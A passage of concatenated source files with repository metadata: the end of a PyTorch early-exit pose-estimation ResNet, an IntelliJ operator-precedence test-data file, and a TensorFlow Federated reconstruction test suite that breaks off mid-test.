range(len(self.exit_list)): x = self.backbone[i](x) x_exit = self.exit[i](x) x_exit = self.deconv_layers[i](x_exit) x_exit = self.final_layer[i](x_exit) output.append(x_exit) return output def init_weights(self, pretrained=''): # for k,v in self.state_dict().items(): # print(k) if os.path.isfile(pretrained): logger.info('=> init head deconv weights from normal distribution') # for name, m in self.named_parameters(): # m.requires_grad = False for name, m in self.deconv_layers.named_modules(): if isinstance(m, nn.ConvTranspose2d): logger.info('=> init {}.weight as normal(0, 0.001)'.format(name)) logger.info('=> init {}.bias as 0'.format(name)) nn.init.normal_(m.weight, std=0.001) if self.deconv_with_bias: nn.init.constant_(m.bias, 0) elif isinstance(m, nn.BatchNorm2d): logger.info('=> init {}.weight as 1'.format(name)) logger.info('=> init {}.bias as 0'.format(name)) nn.init.constant_(m.weight, 1) nn.init.constant_(m.bias, 0) logger.info('=> init head final conv weights from normal distribution') for m in self.final_layer.modules(): if isinstance(m, nn.Conv2d): # nn.init.kaiming_normal_(m.weight, mode='fan_out', nonlinearity='relu') logger.info('=> init {}.weight as normal(0, 0.001)'.format(name)) logger.info('=> init {}.bias as 0'.format(name)) nn.init.normal_(m.weight, std=0.001) nn.init.constant_(m.bias, 0) # for name, m in self.head_deconv_layers.named_parameters(): # m.requires_grad = True # for name, m in self.head_final_layer.named_parameters(): # m.requires_grad = True # pretrained_state_dict = torch.load(pretrained) logger.info('=> loading pretrained model {}'.format(pretrained)) # self.load_state_dict(pretrained_state_dict, strict=False) checkpoint = torch.load(pretrained) dict_trained = checkpoint.copy() dict_new = OrderedDict() for k,v in self.state_dict().items(): if 'num_batches_tracked' not in k: if 'backbone_s1.pre' in k: dict_new[k] = dict_trained[k[16:]] elif 'backbone_s1.exit' in k: if len(self.backbone_s1.exit) == 1: dict_new[k] = dict_trained['layer4.0.'+k[19:]] elif len(self.backbone_s1.exit) == 2: if 'exit.0' in k: dict_new[k] = dict_trained['layer3.0.'+k[19:]] elif 'exit.1' in k: dict_new[k] = dict_trained['layer4.0.'+k[19:]] elif len(self.backbone_s1.exit) == 3: if 'exit.0' in k: dict_new[k] = dict_trained['layer2.0.'+k[19:]] elif 'exit.1' in k: dict_new[k] = dict_trained['layer3.0.'+k[19:]] elif 'exit.2' in k: dict_new[k] = dict_trained['layer4.0.'+k[19:]] elif 'deconv' in k or 'final' in k: dict_new[k] = dict_trained[k] else: dict_new[k] = dict_trained[k[12:]] # for k,v in dict_new.items(): # print(k) # if isinstance(checkpoint, OrderedDict): # state_dict = checkpoint # elif isinstance(checkpoint, dict) and 'state_dict' in checkpoint: # state_dict_old = checkpoint['state_dict'] # state_dict = OrderedDict() # # delete 'module.' because it is saved from DataParallel module # for key in state_dict_old.keys(): # if key.startswith('module.'): # # state_dict[key[7:]] = state_dict[key] # # state_dict.pop(key) # state_dict[key[7:]] = state_dict_old[key] # else: # state_dict[key] = state_dict_old[key] # else: # raise RuntimeError( # 'No state_dict found in checkpoint file {}'.format(pretrained)) # freeze the backbone parameters for k,v in self.named_parameters(): if 'backbone' in k and 'exit' not in k: v.requires_grad=False else: v.requires_grad=True self.load_state_dict(dict_new, strict=False) else: logger.error('=> imagenet pretrained model dose not exist') logger.error('=> please download it first') raise ValueError('imagenet pretrained model does not exist') resnet_spec = {18: (BasicBlock, [2, 2, 2, 2]), 34: (BasicBlock, [3, 4, 6, 3]), 50: (Bottleneck, [3, 4, 6, 3]), 101: (Bottleneck, [3, 4, 23, 3]), 152: (Bottleneck, [3, 8, 36, 3])} def get_pose_net(cfg, is_train, **kwargs): num_layers = cfg.MODEL.EXTRA.NUM_LAYERS style = cfg.MODEL.STYLE block_class, layers = resnet_spec[num_layers] if style == 'caffe': block_class = Bottleneck_CAFFE model = PoseResNet(block_class, layers, cfg, **kwargs) if is_train and cfg.MODEL.INIT_WEIGHTS: model.init_weights(cfg.MODEL.PRETRAINED) # print("Model obtained!") # model.eval() # input = torch.rand(1, 3, 384, 384) # output = model(input) # input_names = ["input"] # output_names = ["final_output"] # torch.onnx.export(model, input, # "/home/slzhang/projects/ETBA/Inference/src/exit_placement/models/posenet_s0.onnx", # input_names=input_names, output_names=output_names, # verbose=False,dynamic_axes={ # 'input': {0: 'batch_size'}, # 'final_output': {0: 'batch_size'}, # },opset_version=11) return model def get_pose_net_with_exit(cfg, is_train, start_point, **kwargs): num_layers = cfg.MODEL.EXTRA.NUM_LAYERS style = cfg.MODEL.STYLE block_class, layers = resnet_spec[num_layers] if style == 'caffe': block_class = Bottleneck_CAFFE model = PoseResNetwthExit(block_class, layers, cfg, start_point, **kwargs) if is_train and cfg.MODEL.INIT_WEIGHTS: pass # model.init_weights(cfg.MODEL.PRETRAINED) # model.init_weights(cfg.MODEL.PRETRAINED_WITH_HEAD) print("Model obtained!") # model.eval() # input = torch.rand(1, 3, 384, 384) # output = model(input) # input_names = ["input"] # output_names = ["final_output"] # torch.onnx.export(model, input, # "/home/slzhang/projects/ETBA/Train/human-pose-estimation.pytorch/posenet_with_exit.onnx", # input_names=input_names, output_names=output_names, # verbose=False,dynamic_axes={ # 'input': {0: 'batch_size'}, # 'final_output': {0: 'batch_size'}, # },opset_version=11) return model def get_pose_net_with_only_exit(cfg, is_train, start_point, **kwargs): num_layers = cfg.MODEL.EXTRA.NUM_LAYERS style = cfg.MODEL.STYLE block_class, layers = resnet_spec[num_layers] if style == 'caffe': block_class = Bottleneck_CAFFE model = PoseResNetwthOnlyExit(block_class, layers, cfg, start_point, **kwargs) if is_train and cfg.MODEL.INIT_WEIGHTS: # model.init_weights(cfg.MODEL.PRETRAINED) model.init_weights(cfg.MODEL.PRETRAINED_WITH_HEAD) print("Model obtained!") return model def get_pose_net_with_multi_exit(cfg, is_train, exit_list, **kwargs): num_layers = cfg.MODEL.EXTRA.NUM_LAYERS style = cfg.MODEL.STYLE block_class, layers = resnet_spec[num_layers] if style == 'caffe': block_class = Bottleneck_CAFFE model = PoseResNetwthMultiExit(block_class, layers, cfg, exit_list, **kwargs) # for k,v in model.backbone[1].named_parameters(): # print(k) # baseModel = torch.nn.Sequential(*(list(model.backbone[1].modules())[:-1])) # for k,v in baseModel[0].named_parameters(): # print(k) # if is_train and cfg.MODEL.INIT_WEIGHTS: # # model.init_weights(cfg.MODEL.PRETRAINED) # model.init_weights(cfg.MODEL.PRETRAINED_WITH_HEAD) print("Model obtained!") return model def get_children(model: torch.nn.Module): # get children form model! children = list(model.children()) flatt_children = [] if children == []: # if model has no children; model is last child! :O return model else: # look for children from children... to the last child! for child in children: try: flatt_children.extend(get_children(child)) except TypeError: flatt_children.append(get_children(child)) return flatt_children

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null

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7

c03469afc2dd59f2e02f81c3a1f5c6b4d48d4490

587

py

Python

python/testData/refactoring/inlinelocal/operatorPrecedence/booleanOr.after.py

jnthn/intellij-community

8fa7c8a3ace62400c838e0d5926a7be106aa8557

[ "Apache-2.0" ]

2

2019-04-28T07:48:50.000Z

2020-12-11T14:18:08.000Z

python/testData/refactoring/inlinelocal/operatorPrecedence/booleanOr.after.py

jnthn/intellij-community

8fa7c8a3ace62400c838e0d5926a7be106aa8557

[ "Apache-2.0" ]

173

2018-07-05T13:59:39.000Z

2018-08-09T01:12:03.000Z

python/testData/refactoring/inlinelocal/operatorPrecedence/booleanOr.after.py

jnthn/intellij-community

8fa7c8a3ace62400c838e0d5926a7be106aa8557

[ "Apache-2.0" ]

2

2020-03-15T08:57:37.000Z

2020-04-07T04:48:14.000Z

(10 or 2)[::-5] (10 or 2)[5] (10 or 2)(5) (10 or 2).foo -(10 or 2) +(10 or 2) ~(10 or 2) 5 ** (10 or 2) (10 or 2) ** 5 5 * (10 or 2) (10 or 2) * 5 5 / (10 or 2) (10 or 2) / 5 5 // (10 or 2) (10 or 2) // 5 5 + (10 or 2) (10 or 2) + 5 (10 or 2) - 5 5 - (10 or 2) 5 >> (10 or 2) (10 or 2) << 5 5 & (10 or 2) (10 or 2) & 5 5 ^ (10 or 2) (10 or 2) ^ 5 5 | (10 or 2) (10 or 2) | 5 () in (10 or 2) (10 or 2) in () 5 is (10 or 2) (10 or 2) is 5 5 < (10 or 2) (10 or 2) < 5 not (10 or 2) 5 and (10 or 2) (10 or 2) and 5 5 or 10 or 2 10 or 2 or 5 10 or 2 if 10 or 2 else 10 or 2

10.12069

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null

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1

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8

220cc37c9b12168840dc1016134d5e08c593eac5

37,140

py

Python

reconstruction/training_process_test.py

Abhin02/federated

5fd8f69284c2784b635faadfaf6c66ce843f7701

[ "Apache-2.0" ]

1

2022-03-16T02:13:39.000Z

reconstruction/training_process_test.py

notminusone/federated

6a709f5598450232b918c046cfeba849f479d5cb

[ "Apache-2.0" ]

null

reconstruction/training_process_test.py

notminusone/federated

6a709f5598450232b918c046cfeba849f479d5cb

[ "Apache-2.0" ]

null

# Copyright 2020, Google LLC. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Tests for training_process.py.""" import collections import functools import attr import numpy as np import tensorflow as tf import tensorflow_federated as tff import tensorflow_privacy as tfp from reconstruction import keras_utils from reconstruction import reconstruction_model from reconstruction import reconstruction_utils from reconstruction import training_process def _create_input_spec(): return collections.OrderedDict( x=tf.TensorSpec(shape=[None, 784], dtype=tf.float32), y=tf.TensorSpec(dtype=tf.int32, shape=[None, 1])) def global_recon_model_fn(): """Keras MNIST model with no local variables.""" keras_model = tff.simulation.models.mnist.create_keras_model( compile_model=False) input_spec = _create_input_spec() return keras_utils.from_keras_model( keras_model=keras_model, global_layers=keras_model.layers, local_layers=[], input_spec=input_spec) def local_recon_model_fn(): """Keras MNIST model with final dense layer local.""" keras_model = tff.simulation.models.mnist.create_keras_model( compile_model=False) input_spec = _create_input_spec() return keras_utils.from_keras_model( keras_model=keras_model, global_layers=keras_model.layers[:-1], local_layers=keras_model.layers[-1:], input_spec=input_spec) @attr.s(eq=False, frozen=True) class MnistVariables(object): """Structure for variables in an MNIST model.""" weights = attr.ib() bias = attr.ib() class MnistModel(reconstruction_model.ReconstructionModel): """An implementation of an MNIST `ReconstructionModel` without Keras. Applies a single dense layer followed by softmax. The weights of the dense layer are global, and the biases are local. """ def __init__(self): self._variables = MnistVariables( weights=tf.Variable( lambda: tf.zeros(dtype=tf.float32, shape=(784, 10)), name='weights', trainable=True), bias=tf.Variable( lambda: tf.zeros(dtype=tf.float32, shape=(10)), name='bias', trainable=True)) @property def global_trainable_variables(self): return [self._variables.weights] @property def global_non_trainable_variables(self): return [] @property def local_trainable_variables(self): return [self._variables.bias] @property def local_non_trainable_variables(self): return [] @property def input_spec(self): return collections.OrderedDict([('x', tf.TensorSpec([None, 784], tf.float32)), ('y', tf.TensorSpec([None, 1], tf.int32))]) @tf.function def forward_pass(self, batch, training=True): del training y = tf.nn.softmax( tf.matmul(batch['x'], self._variables.weights) + self._variables.bias) return reconstruction_model.BatchOutput( predictions=y, labels=batch['y'], num_examples=tf.size(batch['y'])) def create_emnist_client_data(): rng = np.random.default_rng(42) emnist_data = collections.OrderedDict([('x', [ rng.standard_normal(784).astype(np.float32), rng.standard_normal(784).astype(np.float32), rng.standard_normal(784).astype(np.float32) ]), ('y', [[5], [5], [9]])]) dataset = tf.data.Dataset.from_tensor_slices(emnist_data) def client_data(batch_size=2): return dataset.batch(batch_size) return client_data class _DPMean(tff.aggregators.UnweightedAggregationFactory): def __init__(self, dp_sum_factory): self._dp_sum = dp_sum_factory self._clear_sum = tff.aggregators.SumFactory() def create(self, value_type: tff.Type) -> tff.templates.AggregationProcess: self._dp_sum_process = self._dp_sum.create(value_type) @tff.federated_computation() def init(): # Invoke here to instantiate anything we need return self._dp_sum_process.initialize() @tff.tf_computation(value_type, tf.int32) def div(x, y): # Opaque shape manipulations return [tf.squeeze(tf.math.divide_no_nan(x, tf.cast(y, tf.float32)), 0)] @tff.federated_computation(init.type_signature.result, tff.type_at_clients(value_type)) def next_fn(state, value): one_at_clients = tff.federated_value(1, tff.CLIENTS) dp_sum = self._dp_sum_process.next(state, value) summed_one = tff.federated_sum(one_at_clients) return tff.templates.MeasuredProcessOutput( state=dp_sum.state, result=tff.federated_map(div, (dp_sum.result, summed_one)), measurements=dp_sum.measurements) return tff.templates.AggregationProcess(initialize_fn=init, next_fn=next_fn) class TrainingProcessTest(tf.test.TestCase): def _run_rounds(self, iterproc, federated_data, num_rounds): train_outputs = [] initial_state = iterproc.initialize() state = initial_state for _ in range(num_rounds): state, metrics = iterproc.next(state, federated_data) train_outputs.append(metrics) return state, train_outputs, initial_state def test_build_train_iterative_process(self): def loss_fn(): return tf.keras.losses.SparseCategoricalCrossentropy() def metrics_fn(): return [ tff.learning.metrics.NumExamplesCounter(), tff.learning.metrics.NumBatchesCounter(), tf.keras.metrics.SparseCategoricalAccuracy() ] it_process = training_process.build_federated_reconstruction_process( local_recon_model_fn, loss_fn=loss_fn, metrics_fn=metrics_fn, client_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.1)) self.assertIsInstance(it_process, tff.templates.IterativeProcess) federated_data_type = it_process.next.type_signature.parameter[1] self.assertEqual( str(federated_data_type), '{<x=float32[?,784],y=int32[?,1]>*}@CLIENTS') def test_fed_recon_with_custom_client_weight_fn(self): client_data = create_emnist_client_data() federated_data = [client_data()] def client_weight_fn(local_outputs): return 1.0 / (1.0 + local_outputs['loss'][-1]) it_process = training_process.build_federated_reconstruction_process( local_recon_model_fn, loss_fn=tf.keras.losses.SparseCategoricalCrossentropy, client_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.001), reconstruction_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.001), client_weight_fn=client_weight_fn) _, train_outputs, _ = self._run_rounds(it_process, federated_data, 5) self.assertLess(train_outputs[-1]['loss'], train_outputs[0]['loss']) def test_server_update_with_inf_weight_is_noop(self): client_data = create_emnist_client_data() federated_data = [client_data()] client_weight_fn = lambda x: np.inf it_process = training_process.build_federated_reconstruction_process( local_recon_model_fn, loss_fn=tf.keras.losses.SparseCategoricalCrossentropy, client_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.001), reconstruction_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.001), client_weight_fn=client_weight_fn) state, _, initial_state = self._run_rounds(it_process, federated_data, 1) self.assertAllClose(state.model.trainable, initial_state.model.trainable, 1e-8) self.assertAllClose(state.model.trainable, initial_state.model.trainable, 1e-8) def test_keras_global_model(self): def loss_fn(): return tf.keras.losses.SparseCategoricalCrossentropy() def metrics_fn(): return [ tff.learning.metrics.NumExamplesCounter(), tff.learning.metrics.NumBatchesCounter(), tf.keras.metrics.SparseCategoricalAccuracy() ] it_process = training_process.build_federated_reconstruction_process( global_recon_model_fn, loss_fn=loss_fn, metrics_fn=metrics_fn, client_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.001), reconstruction_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.001)) server_state = it_process.initialize() client_data = create_emnist_client_data() federated_data = [client_data(), client_data()] server_states = [] outputs = [] loss_list = [] for _ in range(5): server_state, output = it_process.next(server_state, federated_data) server_states.append(server_state) outputs.append(output) loss_list.append(output['loss']) expected_keys = [ 'sparse_categorical_accuracy', 'loss', 'num_examples', 'num_batches' ] self.assertCountEqual(outputs[0].keys(), expected_keys) self.assertNotAllClose(server_states[0].model.trainable, server_states[1].model.trainable) self.assertLess(np.mean(loss_list[2:]), np.mean(loss_list[:2])) self.assertEqual(outputs[0]['num_examples'], 6) self.assertEqual(outputs[1]['num_batches'], 4) self.assertEqual(outputs[0]['num_examples'], 6) self.assertEqual(outputs[1]['num_batches'], 4) def test_keras_local_layer(self): def loss_fn(): return tf.keras.losses.SparseCategoricalCrossentropy() def metrics_fn(): return [ tff.learning.metrics.NumExamplesCounter(), tff.learning.metrics.NumBatchesCounter(), tf.keras.metrics.SparseCategoricalAccuracy() ] it_process = training_process.build_federated_reconstruction_process( local_recon_model_fn, loss_fn=loss_fn, metrics_fn=metrics_fn, client_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.001), reconstruction_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.001)) server_state = it_process.initialize() client_data = create_emnist_client_data() federated_data = [client_data(), client_data()] server_states = [] outputs = [] loss_list = [] for _ in range(5): server_state, output = it_process.next(server_state, federated_data) server_states.append(server_state) outputs.append(output) loss_list.append(output['loss']) expected_keys = [ 'sparse_categorical_accuracy', 'loss', 'num_examples', 'num_batches' ] self.assertCountEqual(outputs[0].keys(), expected_keys) self.assertNotAllClose(server_states[0].model.trainable, server_states[1].model.trainable) self.assertLess(np.mean(loss_list[2:]), np.mean(loss_list[:2])) self.assertEqual(outputs[0]['num_examples'], 6) self.assertEqual(outputs[1]['num_batches'], 4) self.assertEqual(outputs[0]['num_examples'], 6) self.assertEqual(outputs[1]['num_batches'], 4) def test_keras_local_layer_metrics_empty_list(self): def loss_fn(): return tf.keras.losses.SparseCategoricalCrossentropy() def metrics_fn(): return [] it_process = training_process.build_federated_reconstruction_process( local_recon_model_fn, loss_fn=loss_fn, metrics_fn=metrics_fn, client_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.001), reconstruction_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.001)) server_state = it_process.initialize() client_data = create_emnist_client_data() federated_data = [client_data(), client_data()] server_states = [] outputs = [] loss_list = [] for _ in range(5): server_state, output = it_process.next(server_state, federated_data) server_states.append(server_state) outputs.append(output) loss_list.append(output['loss']) expected_keys = ['loss'] self.assertCountEqual(outputs[0].keys(), expected_keys) self.assertLess(np.mean(loss_list[2:]), np.mean(loss_list[:2])) self.assertNotAllClose(server_states[0].model.trainable, server_states[1].model.trainable) def test_keras_local_layer_metrics_none(self): def loss_fn(): return tf.keras.losses.SparseCategoricalCrossentropy() it_process = training_process.build_federated_reconstruction_process( local_recon_model_fn, loss_fn=loss_fn, metrics_fn=None, client_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.001), reconstruction_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.001)) server_state = it_process.initialize() client_data = create_emnist_client_data() federated_data = [client_data(), client_data()] server_states = [] outputs = [] loss_list = [] for _ in range(5): server_state, output = it_process.next(server_state, federated_data) server_states.append(server_state) outputs.append(output) loss_list.append(output['loss']) expected_keys = ['loss'] self.assertCountEqual(outputs[0].keys(), expected_keys) self.assertLess(np.mean(loss_list[2:]), np.mean(loss_list[:2])) self.assertNotAllClose(server_states[0].model.trainable, server_states[1].model.trainable) def test_keras_joint_training(self): def loss_fn(): return tf.keras.losses.SparseCategoricalCrossentropy() def metrics_fn(): return [ tff.learning.metrics.NumExamplesCounter(), tff.learning.metrics.NumBatchesCounter(), tf.keras.metrics.SparseCategoricalAccuracy() ] it_process = training_process.build_federated_reconstruction_process( local_recon_model_fn, loss_fn=loss_fn, metrics_fn=metrics_fn, client_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.001), reconstruction_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.001), jointly_train_variables=True) server_state = it_process.initialize() client_data = create_emnist_client_data() federated_data = [client_data(), client_data()] server_states = [] outputs = [] loss_list = [] for _ in range(5): server_state, output = it_process.next(server_state, federated_data) server_states.append(server_state) outputs.append(output) loss_list.append(output['loss']) expected_keys = [ 'sparse_categorical_accuracy', 'loss', 'num_examples', 'num_batches' ] self.assertCountEqual(outputs[0].keys(), expected_keys) self.assertNotAllClose(server_states[0].model.trainable, server_states[1].model.trainable) self.assertLess(np.mean(loss_list[2:]), np.mean(loss_list[:2])) self.assertEqual(outputs[0]['num_examples'], 6) self.assertEqual(outputs[1]['num_batches'], 4) self.assertEqual(outputs[0]['num_examples'], 6) self.assertEqual(outputs[1]['num_batches'], 4) def test_keras_eval_reconstruction(self): def loss_fn(): return tf.keras.losses.SparseCategoricalCrossentropy() def metrics_fn(): return [ tff.learning.metrics.NumExamplesCounter(), tff.learning.metrics.NumBatchesCounter(), tf.keras.metrics.SparseCategoricalAccuracy() ] it_process = training_process.build_federated_reconstruction_process( local_recon_model_fn, loss_fn=loss_fn, metrics_fn=metrics_fn, client_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.001), reconstruction_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.001), evaluate_reconstruction=True) server_state = it_process.initialize() client_data = create_emnist_client_data() federated_data = [client_data(), client_data()] server_states = [] outputs = [] loss_list = [] for _ in range(5): server_state, output = it_process.next(server_state, federated_data) server_states.append(server_state) outputs.append(output) loss_list.append(output['loss']) expected_keys = [ 'sparse_categorical_accuracy', 'loss', 'num_examples', 'num_batches' ] self.assertCountEqual(outputs[0].keys(), expected_keys) self.assertNotAllClose(server_states[0].model.trainable, server_states[1].model.trainable) self.assertLess(np.mean(loss_list[2:]), np.mean(loss_list[:2])) self.assertEqual(outputs[0]['num_examples'], 12) self.assertEqual(outputs[1]['num_batches'], 8) self.assertEqual(outputs[0]['num_examples'], 12) self.assertEqual(outputs[1]['num_batches'], 8) def test_keras_eval_reconstruction_joint_training(self): def loss_fn(): return tf.keras.losses.SparseCategoricalCrossentropy() def metrics_fn(): return [ tff.learning.metrics.NumExamplesCounter(), tff.learning.metrics.NumBatchesCounter(), tf.keras.metrics.SparseCategoricalAccuracy() ] it_process = training_process.build_federated_reconstruction_process( local_recon_model_fn, loss_fn=loss_fn, metrics_fn=metrics_fn, client_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.001), reconstruction_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.001), evaluate_reconstruction=True, jointly_train_variables=True) server_state = it_process.initialize() client_data = create_emnist_client_data() federated_data = [client_data(), client_data()] server_states = [] outputs = [] loss_list = [] for _ in range(5): server_state, output = it_process.next(server_state, federated_data) server_states.append(server_state) outputs.append(output) loss_list.append(output['loss']) expected_keys = [ 'sparse_categorical_accuracy', 'loss', 'num_examples', 'num_batches' ] self.assertCountEqual(outputs[0].keys(), expected_keys) self.assertLess(np.mean(loss_list[2:]), np.mean(loss_list[:2])) self.assertNotAllClose(server_states[0].model.trainable, server_states[1].model.trainable) self.assertEqual(outputs[0]['num_examples'], 12) self.assertEqual(outputs[1]['num_batches'], 8) self.assertEqual(outputs[0]['num_examples'], 12) self.assertEqual(outputs[1]['num_batches'], 8) def test_custom_model_no_recon(self): client_data = create_emnist_client_data() train_data = [client_data(batch_size=3), client_data(batch_size=3)] def loss_fn(): return tf.keras.losses.SparseCategoricalCrossentropy() def metrics_fn(): return [ tff.learning.metrics.NumExamplesCounter(), tff.learning.metrics.NumBatchesCounter(), tf.keras.metrics.SparseCategoricalAccuracy() ] # Disable reconstruction via 0 learning rate to ensure post-recon loss # matches exact expectations round 0 and decreases by the next round. trainer = training_process.build_federated_reconstruction_process( MnistModel, loss_fn=loss_fn, metrics_fn=metrics_fn, server_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.01), client_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.001), reconstruction_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.0)) state = trainer.initialize() outputs = [] states = [] for _ in range(2): state, output = trainer.next(state, train_data) outputs.append(output) states.append(state) # All weights and biases are initialized to 0, so initial logits are all 0 # and softmax probabilities are uniform over 10 classes. So negative log # likelihood is -ln(1/10). This is on expectation, so increase tolerance. # Note that this only holds when our batch size is large enough so that # clients only take a single training step. self.assertAllClose(outputs[0]['loss'], tf.math.log(10.0), rtol=1e-4) self.assertLess(outputs[1]['loss'], outputs[0]['loss']) self.assertNotAllClose(states[0].model.trainable, states[1].model.trainable) # Expect 6 reconstruction examples, 6 training examples. Only training # included in metrics. self.assertEqual(outputs[0]['num_examples'], 6.0) self.assertEqual(outputs[1]['num_examples'], 6.0) # Expect 2 reconstruction batches and 2 training batches. Only training # included in metrics. self.assertEqual(outputs[0]['num_batches'], 2.0) self.assertEqual(outputs[1]['num_batches'], 2.0) def test_custom_model_adagrad_server_optimizer(self): client_data = create_emnist_client_data() train_data = [client_data(), client_data()] def loss_fn(): return tf.keras.losses.SparseCategoricalCrossentropy() def metrics_fn(): return [ tff.learning.metrics.NumExamplesCounter(), tff.learning.metrics.NumBatchesCounter(), tf.keras.metrics.SparseCategoricalAccuracy() ] # Disable reconstruction via 0 learning rate to ensure post-recon loss # matches exact expectations round 0 and decreases by the next round. trainer = training_process.build_federated_reconstruction_process( MnistModel, loss_fn=loss_fn, metrics_fn=metrics_fn, server_optimizer_fn=functools.partial(tf.keras.optimizers.Adagrad, 0.01), client_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.001), reconstruction_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.0)) state = trainer.initialize() outputs = [] states = [] for _ in range(2): state, output = trainer.next(state, train_data) outputs.append(output) states.append(state) # All weights and biases are initialized to 0, so initial logits are all 0 # and softmax probabilities are uniform over 10 classes. So negative log # likelihood is -ln(1/10). This is on expectation, so increase tolerance. self.assertAllClose(outputs[0]['loss'], tf.math.log(10.0), atol=1e-3) self.assertLess(outputs[1]['loss'], outputs[0]['loss']) self.assertNotAllClose(states[0].model.trainable, states[1].model.trainable) # Expect 6 reconstruction examples, 6 training examples. Only training # included in metrics. self.assertEqual(outputs[0]['num_examples'], 6.0) self.assertEqual(outputs[1]['num_examples'], 6.0) # Expect 4 reconstruction batches and 4 training batches. Only training # included in metrics. self.assertEqual(outputs[0]['num_batches'], 4.0) self.assertEqual(outputs[1]['num_batches'], 4.0) def test_custom_model_zeroing_clipping_aggregator_factory(self): client_data = create_emnist_client_data() train_data = [client_data(), client_data()] def loss_fn(): return tf.keras.losses.SparseCategoricalCrossentropy() def metrics_fn(): return [ tff.learning.metrics.NumExamplesCounter(), tff.learning.metrics.NumBatchesCounter(), tf.keras.metrics.SparseCategoricalAccuracy() ] # No values should be clipped and zeroed aggregation_factory = tff.aggregators.zeroing_factory( zeroing_norm=float('inf'), inner_agg_factory=tff.aggregators.MeanFactory()) # Disable reconstruction via 0 learning rate to ensure post-recon loss # matches exact expectations round 0 and decreases by the next round. trainer = training_process.build_federated_reconstruction_process( MnistModel, loss_fn=loss_fn, metrics_fn=metrics_fn, server_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.01), client_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.001), reconstruction_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.0), aggregation_factory=aggregation_factory, ) state = trainer.initialize() outputs = [] states = [] for _ in range(2): state, output = trainer.next(state, train_data) outputs.append(output) states.append(state) # All weights and biases are initialized to 0, so initial logits are all 0 # and softmax probabilities are uniform over 10 classes. So negative log # likelihood is -ln(1/10). This is on expectation, so increase tolerance. self.assertAllClose(outputs[0]['loss'], tf.math.log(10.0), atol=1e-3) self.assertLess(outputs[1]['loss'], outputs[0]['loss']) self.assertNotAllClose(states[0].model.trainable, states[1].model.trainable) # Expect 6 reconstruction examples, 6 training examples. Only training # included in metrics. self.assertEqual(outputs[0]['num_examples'], 6.0) self.assertEqual(outputs[1]['num_examples'], 6.0) # Expect 4 reconstruction batches and 4 training batches. Only training # included in metrics. self.assertEqual(outputs[0]['num_batches'], 4.0) self.assertEqual(outputs[1]['num_batches'], 4.0) def test_iterative_process_builds_with_dp_agg_and_client_weight_fn(self): def loss_fn(): return tf.keras.losses.SparseCategoricalCrossentropy() def metrics_fn(): return [ tff.learning.metrics.NumExamplesCounter(), tff.learning.metrics.NumBatchesCounter(), tf.keras.metrics.SparseCategoricalAccuracy() ] # No values should be changed, but working with inf directly zeroes out all # updates. Preferring very large value, but one that can be handled in # multiplication/division gaussian_sum_query = tfp.GaussianSumQuery(l2_norm_clip=1e10, stddev=0) dp_sum_factory = tff.aggregators.DifferentiallyPrivateFactory( query=gaussian_sum_query, record_aggregation_factory=tff.aggregators.SumFactory()) dp_mean_factory = _DPMean(dp_sum_factory) def client_weight_fn(local_outputs): del local_outputs # Unused return 1.0 # Ensure this builds, as some builders raise if an unweighted aggregation is # specified with a client_weight_fn. trainer = training_process.build_federated_reconstruction_process( MnistModel, loss_fn=loss_fn, metrics_fn=metrics_fn, server_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.01), client_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.001), reconstruction_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.0), aggregation_factory=dp_mean_factory, client_weight_fn=client_weight_fn, ) self.assertIsInstance(trainer, tff.templates.IterativeProcess) def test_execution_with_custom_dp_query(self): client_data = create_emnist_client_data() train_data = [client_data(), client_data()] def loss_fn(): return tf.keras.losses.SparseCategoricalCrossentropy() def metrics_fn(): return [ tff.learning.metrics.NumExamplesCounter(), tff.learning.metrics.NumBatchesCounter(), tf.keras.metrics.SparseCategoricalAccuracy() ] # No values should be changed, but working with inf directly zeroes out all # updates. Preferring very large value, but one that can be handled in # multiplication/division gaussian_sum_query = tfp.GaussianSumQuery(l2_norm_clip=1e10, stddev=0) dp_sum_factory = tff.aggregators.DifferentiallyPrivateFactory( query=gaussian_sum_query, record_aggregation_factory=tff.aggregators.SumFactory()) dp_mean_factory = _DPMean(dp_sum_factory) # Disable reconstruction via 0 learning rate to ensure post-recon loss # matches exact expectations round 0 and decreases by the next round. trainer = training_process.build_federated_reconstruction_process( MnistModel, loss_fn=loss_fn, metrics_fn=metrics_fn, server_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.01), client_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.001), 